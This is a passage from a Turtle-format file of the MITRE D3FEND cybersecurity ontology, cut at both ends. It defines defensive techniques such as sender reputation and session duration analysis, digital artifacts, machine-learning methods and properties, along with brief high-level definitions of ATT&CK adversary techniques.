    d3f:definition "Regression analysis is a set of statistical processes for estimating the relationships between a dependent variable (often called the 'outcome' or 'response' variable, or a 'label' in machine learning parlance) and one or more independent variables (often called 'predictors', 'covariates', 'explanatory variables' or 'features')." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Regression analysis. [Link](https://en.wikipedia.org/wiki/Regression_analysis)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:Restore a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore" ;
    d3f:definition "The restore tactic is used to return the system to a better state." ;
    d3f:display-order 5 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:SPARTAPersistenceTechnique a owl:Class ;
    rdfs:label "Persistence Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0005 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Persistence Technique" .

d3f:SPARTAResourceDevelopmentTechnique a owl:Class ;
    rdfs:label "Resource Development Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0002 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Resource Development Technique" .

d3f:SSHSession a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SSH Session" ;
    d3f:definition "A Secure Shell Protocol (SSH) session is a session over a secure channel established using SSH to connect a client to a server and establish the remote session." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Secure_Shell_Protocol> ;
    rdfs:subClassOf d3f:RemoteSession .

d3f:SecurityEvent a owl:Class ;
    rdfs:label "Security Event" ;
    d3f:definition "An event describing occurrences related to cybersecurity, including detection, remediation, or enforcement actions. Security events provide critical insights into the state, behavior, and resilience of digital systems." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:caused-by ;
            owl:someValuesFrom d3f:DefensiveAction ],
        d3f:DigitalEvent .

d3f:Semi-SupervisedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-Supervised Learning" ;
    d3f:d3fend-id "D3A-SSL" ;
    d3f:definition "Semi-supervised learning is a branch of machine learning that combines a small amount of labeled data with a large amount of unlabeled data during training." ;
    d3f:kb-article """## References
Semi-Supervised Learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Semi-Supervised_Learning).""" ;
    rdfs:seeAlso <https://link.springer.com/article/10.1007/s10994-019-05855-6> ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:SenderMTAReputationAnalysis a d3f:SenderMTAReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Sender MTA Reputation Analysis" ;
    d3f:analyzes d3f:Email ;
    d3f:d3fend-id "D3-SMRA" ;
    d3f:definition "Characterizing the reputation of mail transfer agents (MTA) to determine the security risk in emails." ;
    d3f:kb-article """## How it works
The sender message transfer agent (MTA) trust rating can be considered an indicator of the level of security risk and/or a trust level associated with sender MTAs in an email header.

The features considered in determining the trust rating may include:

* Length of time MTA has interacted with the enterprise
* Number of sender domains sending emails from the MTA
* Number of recipients in the enterprise the MTA sends emails to
* Number of emails received from this MTA
* Number of email replies received from this MTA

For example, higher values for the length of time an MTA has interacted with the enterprise, or number of emails received from an MTA can result in a higher trust rating. The trust rating categorizes the sender MTA as unrated, neutral, trusted, suspicious, or malicious.

## Considerations
Legitimate emails from a sender MTA may receive a lower trust rating over time if the sender's domain gets spoofed and is used to send unauthorized emails.""" ;
    d3f:kb-reference d3f:Reference-SystemsAndMethodsForDetectingAnd_orHandlingTargetedAttacksInTheEmailChannel_GraphusInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Email ],
        d3f:MessageAnalysis .

d3f:SenderReputationAnalysis a d3f:SenderReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Sender Reputation Analysis" ;
    d3f:analyzes d3f:Email ;
    d3f:d3fend-id "D3-SRA" ;
    d3f:definition "Ascertaining sender reputation based on information associated with a message (e.g. email/instant messaging)." ;
    d3f:kb-article """## How it works

Sender trust rating can be considered an indicator of the level of security risk and/or a trust level associated with a sender. The features considered in determining the trust rating include:

* Length of time sender has sent emails to the enterprise
* Number of recipients in the enterprise the sender interacts with
* Sender vs. enterprise originated message ratio
* Sender messages opened vs. not-opened ratio
* Number of emails received from this sender
* Number of emails replied to this sender
* Number of emails from this sender not opened
* Number of emails from this sender not opened that contain an attachment
* Number of emails from this sender not opened that contain a URL
* Number of emails sent to this sender
* Number of email replies received from this sender.

Higher values for the number of recipients the sender has interacted with or the number of emails received from the sender, for example, results in a higher trust rating. The trust rating can categorize the sender as unrated, neutral, trusted, suspicious, or malicious.

## Considerations
Legitimate emails from a sender may receive a lower trust rating over time if the sender's domain gets spoofed and is used to send unauthorized emails.""" ;
    d3f:kb-reference d3f:Reference-SystemsAndMethodsForDetectingAnd_orHandlingTargetedAttacksInTheEmailChannel_GraphusInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Email ],
        d3f:MessageAnalysis .

d3f:SessionCookie a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Session Cookie" ;
    d3f:definition "A session cookie, also known as an in-memory cookie, transient cookie or non-persistent cookie, exists only in temporary memory while the user navigates the website. Web browsers normally delete session cookies when the user closes the browser. Unlike other cookies, session cookies do not have an expiration date assigned to them, which is how the browser knows to treat them as session cookies." ;
    rdfs:isDefinedBy <https://schema.ocsf.io/objects/http_cookie> ;
    rdfs:seeAlso <http://dbpedia.org/resource/HTTP_cookie>,
        <https://schema.ocsf.io/objects/http_cookie> ;
    rdfs:subClassOf d3f:Credential ;
    skos:altLabel "In-memory Cookie",
        "Non-persistent Cookie",
        "Transient Cookie",
        "Web Session Cookie" .

d3f:SessionDurationAnalysis a d3f:SessionDurationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Session Duration Analysis" ;
    d3f:analyzes d3f:Authentication,
        d3f:Authorization ;
    d3f:d3fend-id "D3-SDA" ;
    d3f:definition "Analyzing the duration of user sessions in order to detect unauthorized  activity." ;
    d3f:kb-article """## How it works
Detecting unauthorized user sessions by comparing the duration of a user logon session with a baseline behavior model. The behavior model comprises historical user session duration times.  Abnormalities between session duration and the behavior model may indicate suspicious activity.

## Considerations
* Potential for false positives from anomalies that are not associated with malicious activity.
* Attackers may not differentiate their session duration enough to trigger an alert.""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authorization ],
        d3f:UserBehaviorAnalysis .

d3f:Step a owl:Class ;
    rdfs:label "Step" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-be-associated-with ;
            owl:someValuesFrom d3f:Artifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:next ;
            owl:someValuesFrom d3f:Step ],
        [ a owl:Restriction ;
            owl:onProperty d3f:fork ;
            owl:someValuesFrom d3f:Step ],
        [ a owl:Restriction ;
            owl:onProperty d3f:end ;
            owl:someValuesFrom d3f:Step ],
        d3f:Plan .

d3f:SystemDependencyMapping a d3f:SystemDependencyMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Dependency Mapping" ;
    d3f:d3fend-id "D3-SYSDM" ;
    d3f:definition "System dependency mapping identifies and models the dependencies of system components on each other to carry out their function." ;
    d3f:kb-article """## How it works
The organization collects and models architectural information about the software, hardware, and products and maps the dependencies between systems, including each system's internal components and dependencies.

## Considerations
* Data exchanges identified in the network mapping efforts usually indicate such dependencies, but may not be part of the intended design.
* Architectural design artifacts and SMEs may need to be consulted to determine if dependencies are intended or otherwise essential.
* System depedency mapping can identify internal dependencies of standard and pre-built systems that should be incorporated into a complete system dependency model.
* System dependencies for critical systems--those supporting critical organizational activities--should be prioritized for supply chain risk analysis.
* System dependencies should identify the integral components of a given named system and their structure to form a system.
* System dependencies with a given system may be fixed by a particular product's configuration, and leveraging external knowledge bases about dependencies available (e.g., from package managers) is essential.""" ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin,
        d3f:Reference-SoftwareVulnerabilityGraphDatabase,
        d3f:Reference-TivoliApplicationDependencyDiscoverManager7_3_0DependenciesBetweenResources,
        d3f:Reference-UnifiedArchitectureFrameworkUAF ;
    d3f:maps d3f:SystemDependency ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:SystemDependency ],
        d3f:SystemMapping .

d3f:SystemInitConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Init Configuration" ;
    d3f:definition "System initialization configuration information is configuration information used to configure the services, parameters, and initial settings for an operating system at startup." ;
    rdfs:subClassOf d3f:OperatingSystemConfigurationComponent ;
    skos:altLabel "Autoruns" .

d3f:SystemMapping a d3f:SystemMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Mapping" ;
    d3f:d3fend-id "D3-SYSM" ;
    d3f:definition "System mapping encompasses the techniques to identify the organization's systems, how they are configured and decomposed into subsystems and components, how they are dependent on one another, and where they are physically located." ;
    d3f:display-order 2 ;
    d3f:enables d3f:Model ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Model ],
        d3f:DefensiveTechnique .

d3f:SystemPlatformVariable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Platform Variable" ;
    d3f:definition "Runtime variables  which may consist of memory usage, internal temperature, operating mode, clock time, scan time, hardware status, etc." ;
    d3f:synonym "Configuration Resource",
        "System Data",
        "System Properties",
        "System Variable" ;
    rdfs:seeAlso <https://literature.rockwellautomation.com/idc/groups/literature/documents/pm/1756-pm015_-en-p.pdf>,
        <https://www.nrc.gov/docs/ml0932/ml093290422.pdf> ;
    rdfs:subClassOf d3f:RuntimeVariable .

d3f:SystemServiceSoftware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Service Software" ;
    d3f:contains d3f:OperatingSystemFile ;
    d3f:definition "Software services provided as part of the operating system, typically accessed through system calls." ;
    rdfs:seeAlso <https://www.os-book.com/OS9/slide-dir/PPT-dir/ch2.ppt> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OperatingSystemFile ],
        d3f:Software .

d3f:T1037 a owl:Class ;
    rdfs:label "Boot or Logon Initialization Scripts" ;
    d3f:attack-id "T1037" ;
    d3f:definition "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely." ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1071 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Layer Protocol" ;
    d3f:attack-id "T1071" ;
    d3f:definition "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server." ;
    d3f:may-transfer d3f:CertificateFile ;
    d3f:pref-label "Application Layer Protocol C2" ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-transfer ;
            owl:someValuesFrom d3f:CertificateFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1134 a owl:Class ;
    rdfs:label "Access Token Manipulation" ;
    d3f:attack-id "T1134" ;
    d3f:definition "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1213 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data from Information Repositories" ;
    d3f:accesses d3f:Resource ;
    d3f:attack-id "T1213" ;
    d3f:definition "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Resource ],
        d3f:CollectionTechnique .

d3f:T1542 a owl:Class ;
    rdfs:label "Pre-OS Boot" ;
    d3f:attack-id "T1542" ;
    d3f:definition "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique .

d3f:T1543 a owl:Class ;
    rdfs:label "Create or Modify System Process" ;
    d3f:attack-id "T1543" ;
    d3f:definition "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)" ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1558 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Steal or Forge Kerberos Tickets" ;
    d3f:attack-id "T1558" ;
    d3f:definition "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access." ;
    d3f:may-access d3f:KerberosTicket ;
    d3f:may-create d3f:KerberosTicket ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:KerberosTicket ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:KerberosTicket ],
        d3f:CredentialAccessTechnique .

d3f:T1560 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Archive Collected Data" ;
    d3f:attack-id "T1560" ;
    d3f:creates d3f:ArchiveFile ;
    d3f:definition "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ArchiveFile ],
        d3f:CollectionTechnique .

d3f:T1573 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Encrypted Channel" ;
    d3f:attack-id "T1573" ;
    d3f:definition "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files." ;
    d3f:produces d3f:OutboundInternetEncryptedTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetEncryptedTraffic ],
        d3f:CommandAndControlTechnique ;
    skos:altLabel "Custom Command and Control Protocol",
        "Custom Cryptographic Protocol",
        "Multilayer Encryption" .

d3f:T1578 a owl:Class ;
    rdfs:label "Modify Cloud Compute Infrastructure" ;
    d3f:attack-id "T1578" ;
    d3f:definition "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1596 a owl:Class ;
    rdfs:label "Search Open Technical Databases" ;
    d3f:attack-id "T1596" ;
    d3f:definition "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)" ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:TimeSeriesAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Time Series Analysis" ;
    d3f:d3fend-id "D3A-TSA" ;
    d3f:definition "Time series analysis comprises methods for analyzing time series data in order to extract meaningful statistics and other characteristics of the data." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Time series. [Link](https://en.wikipedia.org/wiki/Time_series)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:User a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User" ;
    d3f:definition "A user is a person [or agent] who uses a computer or network service. Users generally use a system or a software product without the technical expertise required to fully understand it. Power users use advanced features of programs, though they are not necessarily capable of computer programming and system administration. A user often has a user account and is identified to the system by a username (or user name). Other terms for username include login name, screenname (or screen name), nickname (or nick) and handle, which is derived from the identical Citizen's Band radio term. Some software products provide services to other systems and have no direct end users." ;
    d3f:has-account d3f:UserAccount ;
    d3f:restricted-by d3f:AccessControlList ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/User_(computing)> ;
    rdfs:seeAlso d3f:UserAccount,
        <http://wordnet-rdf.princeton.edu/id/10761247-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricted-by ;
            owl:someValuesFrom d3f:AccessControlList ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-account ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:Agent,
        d3f:DigitalInformationBearer .

d3f:UserGroup a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Group" ;
    d3f:contains d3f:User ;
    d3f:definition "User groups are a way to collect user accounts and/or computer accounts into manageable units. Administrators can assign permissions, roles, or access to resources, as well as modify group membership, depending on the operating system." ;
    d3f:synonym "Security Group" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:User ],
        d3f:AccessControlGroup .

d3f:WebSessionAccessMediation a d3f:WebSessionAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Session Access Mediation" ;
    d3f:d3fend-id "D3-WSAM" ;
    d3f:definition "Web session access mediation secures user sessions in web applications by employing robust authentication and integrity validation, along with adaptive threat mitigation techniques, to ensure that access to web resources is authorized and protected from session-related attacks." ;
    d3f:isolates d3f:ServiceApplicationProcess ;
    d3f:kb-article """## How it works

Web Session Access Mediation involves managing user access to web applications and services, ensuring secure and authorized sessions. This includes authenticating users, maintaining session integrity, and protecting against threats like session hijacking. Examples include accessing corporate intranets, SaaS applications, or online portals.""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-41-Revision-1 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:ServiceApplicationProcess ],
        d3f:NetworkResourceAccessMediation .

d3f:attack-may-be-countered-by a owl:ObjectProperty ;
    rdfs:label "attack-may-be-countered-by" ;
    rdfs:subPropertyOf d3f:may-be-tactically-associated-with .

d3f:contained-by a owl:ObjectProperty,
        owl:TransitiveProperty ;
    rdfs:label "contained-by" ;
    d3f:definition "x contained-by y: The entity x exists within or is physically or logically enclosed by entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-be-contained-by ;
    owl:inverseOf d3f:contains .

d3f:counters a owl:ObjectProperty ;
    rdfs:label "counters" ;
    rdfs:subPropertyOf d3f:may-counter .

d3f:d3fend-kb-data-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-kb-data-property" ;
    d3f:definition "x d3fend-kb-data-property y: The d3fend knowledge base object x has a data property y; e.g., a string capturing a particular aspect or section of a knowledge base article." ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:d3fend-process-object-property a owl:ObjectProperty ;
    rdfs:label "d3fend-process-object-property" ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:d3fend-tactical-verb-property a owl:ObjectProperty ;
    rdfs:label "d3fend-tactical-verb-property" ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:enumerates a owl:ObjectProperty ;
    rdfs:label "enumerates" ;
    d3f:definition "x enumerates y: The subject x takes the action of reading from a digital source y to acquire data and create a list of its contents." ;
    rdfs:subPropertyOf d3f:reads .

d3f:may-counter-attack a owl:ObjectProperty ;
    rdfs:label "may-counter-attack" ;
    rdfs:subPropertyOf d3f:may-be-tactically-associated-with .

d3f:may-transfer a owl:ObjectProperty ;
    rdfs:label "may-transfer" ;
    d3f:definition "x may-transfer y: They entity x might send the thing y; that is, 'x transfers y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:strengthens a owl:ObjectProperty ;
    rdfs:label "strengthens" ;
    d3f:definition "x strengthens y: The technique x make digital artifact y resistant (to harm or misuse.)" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00165779-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:validates a owl:ObjectProperty ;
    rdfs:label "validates" ;
    d3f:definition "x validates y: The technique x proves the digital artifact y is valid; that is, x shows or confirms the validity of y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00669142-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:verifies a owl:ObjectProperty ;
    rdfs:label "verifies" ;
    d3f:definition "x verifies y: A technique x confirms the truth of a digital artifact y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00666401-v> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Formal_verification>,
        <http://dbpedia.org/resource/Runtime_verification>,
        <http://wordnet-rdf.princeton.edu/id/00665271-v> ;
    rdfs:subPropertyOf d3f:analyzes,
        d3f:associated-with .

d3f:ATLASExfiltrationTechnique a owl:Class ;
    rdfs:label "Exfiltration Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0010 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Exfiltration Technique" .

d3f:ATTACKICSPersistenceTechnique a owl:Class ;
    rdfs:label "Persistence Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0110 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Persistence Technique" .

d3f:ATTACKMobileExecutionTechnique a owl:Class ;
    rdfs:label "Execution Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0041 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Execution Technique" .

d3f:ATTACKMobilePrivilegeEscalationTechnique a owl:Class ;
    rdfs:label "Privilege Escalation Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0029 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Privilege Escalation Technique" .

d3f:AccessPolicyAdministration a d3f:AccessPolicyAdministration,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Policy Administration" ;
    d3f:d3fend-id "D3-APA" ;
    d3f:definition "Access policy administration is the systematic process of defining, implementing, and managing access control policies that dictate user permissions to resources." ;
    d3f:enables d3f:Isolate ;
    d3f:synonym "Access Control Administration" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        d3f:DefensiveTechnique .

d3f:ActiveLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Active Learning" ;
    d3f:d3fend-id "D3A-AL" ;
    d3f:definition "Active learning aims to improve learning efficiency by allowing the learning algorithm to select which data to learn from." ;
    d3f:kb-article """## How it works
Traditional supervised learning often requires a large number of labeled instances, which can be costly or time-consuming to obtain. Active learning addresses this labeling bottleneck by asking an oracle (e.g., a human annotator) to label selected unlabeled instances. The goal is to achieve high accuracy with minimal labeling effort.

## Considerations
Active learning is particularly useful in scenarios where data is abundant but labeled instances are scarce or expensive. Examples include speech recognition, information extraction, and document classification.

## References
- Wikipedia article on Active Learning (machine learning) [Link](https://en.wikipedia.org/wiki/Active_learning_(machine_learning))
- Settles, B. (2009). Active Learning Literature Survey. [Link](https://burrsettles.com/pub/settles.activelearning.pdf)""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:AgentAuthentication a d3f:AgentAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Agent Authentication" ;
    d3f:authenticates d3f:Agent ;
    d3f:d3fend-id "D3-AA" ;
    d3f:definition "Agent authentication is the process of verifying the identities of agents to ensure they are authorized and trustworthy participants within a system." ;
    d3f:enables d3f:Harden ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53-Revision-5 ;
    d3f:strengthens d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:strengthens ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:Agent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:AnalyticalPurpose a owl:Class ;
    rdfs:label "Analytical Purpose" ;
    rdfs:subClassOf d3f:Goal .

d3f:AssetVulnerabilityEnumeration a d3f:AssetVulnerabilityEnumeration,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asset Vulnerability Enumeration" ;
    d3f:d3fend-id "D3-AVE" ;
    d3f:definition "Asset vulnerability enumeration enriches inventory items with knowledge identifying their vulnerabilities." ;
    d3f:evaluates d3f:PhysicalArtifact,
        d3f:Software ;
    d3f:identifies d3f:Vulnerability ;
    d3f:kb-reference d3f:Reference-AutomatedComputerVulnerabilityResolutionSystem,
        d3f:Reference-SecurityVulnerabilityInformationAggregation,
        d3f:Reference-SystemAndMethodForVulnerabilityRiskAssessment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:evaluates ;
            owl:someValuesFrom d3f:PhysicalArtifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Vulnerability ],
        [ a owl:Restriction ;
            owl:onProperty d3f:evaluates ;
            owl:someValuesFrom d3f:Software ],
        d3f:AssetInventory .

d3f:AuthenticationCacheInvalidation a d3f:AuthenticationCacheInvalidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Cache Invalidation" ;
    d3f:d3fend-id "D3-ANCI" ;
    d3f:definition "Removing tokens or credentials from an authentication cache to prevent further user associated account accesses." ;
    d3f:deletes d3f:Credential ;
    d3f:kb-article """## How it works
Applications can locally cache user authentication credentials for certain server connections. An application may attempt to use the cached credential for a connection. If the cached credentials exist then the user will not be typically prompted for new credentials.


## Considerations
Are these cached credentials only on the local host? Can they be persisted to the remote server?

## Examples
Windows Credential Management API""" ;
    d3f:kb-reference d3f:Reference-SecureCachingOfServerCredentials_DellProductsLP,
        d3f:Reference-SystemAndMethodForProvidingAnActivelyInvalidatedClient-sideNetworkResourceCache_IMVU ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:Credential ],
        d3f:CredentialEviction .

d3f:BootLoader a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Boot Loader" ;
    d3f:definition "A bootloader is software that is responsible for booting a computer. When a computer is turned off, its software‍-‌including operating systems, application code, and data‍-‌remains stored on non-volatile memory. When the computer is powered on, it typically does not have an operating system or its loader in random-access memory (RAM). The computer first executes a relatively small program stored in read-only memory (ROM, and later EEPROM, NOR flash) along with some needed data, to initialize RAM (especially on x86 systems) to access the nonvolatile device (usually block device, eg NAND flash) or devices from which the operating system programs and data can be loaded into RAM." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Bootloader> ;
    rdfs:subClassOf d3f:Software ;
    skos:altLabel "Bootloader" .

d3f:CWE-140 a owl:Class ;
    rdfs:label "Improper Neutralization of Delimiters" ;
    d3f:cwe-id "CWE-140" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes delimiters." ;
